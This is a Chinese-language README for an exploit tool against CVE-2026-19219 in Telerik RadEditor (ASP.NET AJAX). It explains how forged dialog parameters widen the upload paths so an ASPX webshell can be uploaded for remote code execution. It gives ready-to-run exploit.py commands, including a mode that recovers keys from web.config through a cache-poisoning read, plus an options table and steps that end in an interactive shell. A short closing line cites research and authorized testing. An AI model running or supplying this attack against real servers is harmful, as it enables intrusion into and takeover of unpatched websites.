
针对 CVE-2026-19219 的漏洞利用:伪造 Telerik RadEditor 对话框参数以扩大上传路径,并在未修补的 ASP.NET AJAX 站点上部署 ASPX webshell 以实现 RCE。
通过 RadEditor DocumentManager 对话框实现远程代码执行。已在
Telerik UI for ASP.NET AJAX 2026.3.812 中修复。
RadEditor 页面生成的对话框 SerializedParameters(dp)数据块是
加密的,但不具备完整性保护。对话框参数包括
UploadPaths、ViewPaths 和 DeletePaths。知道
Telerik.Web.UI.DialogParametersEncryptionKey 的攻击者可以解密 dp,将这些
路径数组扩展到 Web 根目录,重新加密,并通过
文件浏览器上传 webshell。
对话框加密机制具有版本感知能力:较新版本使用 AES-GCM(PBKDF2),较旧版本使用传统
AES-CBC + HMAC-SHA256,或使用 MachineKey.Protect 作为回退方案。
pip install -r requirements.txt
# Known key (primary)
python3 exploit.py http://TARGET \
--page /editor/examples/overview/defaultcs.aspx \
--dialog-key "YOUR-DIALOG-PARAMETERS-ENCRYPTION-KEY"
# Static machineKey fallback
python3 exploit.py http://TARGET \
--page /editor/examples/overview/defaultcs.aspx \
--machine-key "VALIDATIONKEY,DECRYPTIONKEY"
# Auto-recover the key from web.config via the RadImageEditor cache-poison read
python3 exploit.py http://TARGET \
--page /editor/examples/overview/defaultcs.aspx \
--read-config --imageeditor-page imageeditor.aspx
| 参数 | 默认值 | 用途 |
|---|---|---|
base(位置参数) | 必填 | 站点基础 URL |
--page | RadEditor overview | 承载 DocumentManager 对话框的 RadEditor 页面 |
--dialog-key | DialogParametersEncryptionKey(主要方式) | |
--machine-key | validationKey,decryptionKey(回退方式) | |
--read-config | 关闭 | 通过缓存投毒读取从 web.config 恢复密钥 |
--imageeditor-page | imageeditor.aspx | 用于 --read-config 的独立 RadImageEditor 页面 |
--upload-folder | / | 相对于 Web 根目录的 shell 存放文件夹 |
--webshell-password | 自动 | Webshell 密码 |
--shell-name | 自动 | 上传的 .aspx 文件名 |
--rce-cmd | whoami | 验证命令 |
--keep-shell | 关闭 | 退出时保留 webshell |
--proxy | HTTP 代理 URL |
DocumentManager 的 dp。dp,使 UploadPaths/ViewPaths/DeletePaths 指向 ~/。whoami 验证并进入交互式 shell。发布此内容用于安全研究、防御性用途和授权测试。该 漏洞已修补;请将 Telerik UI for ASP.NET AJAX 更新到最新 版本。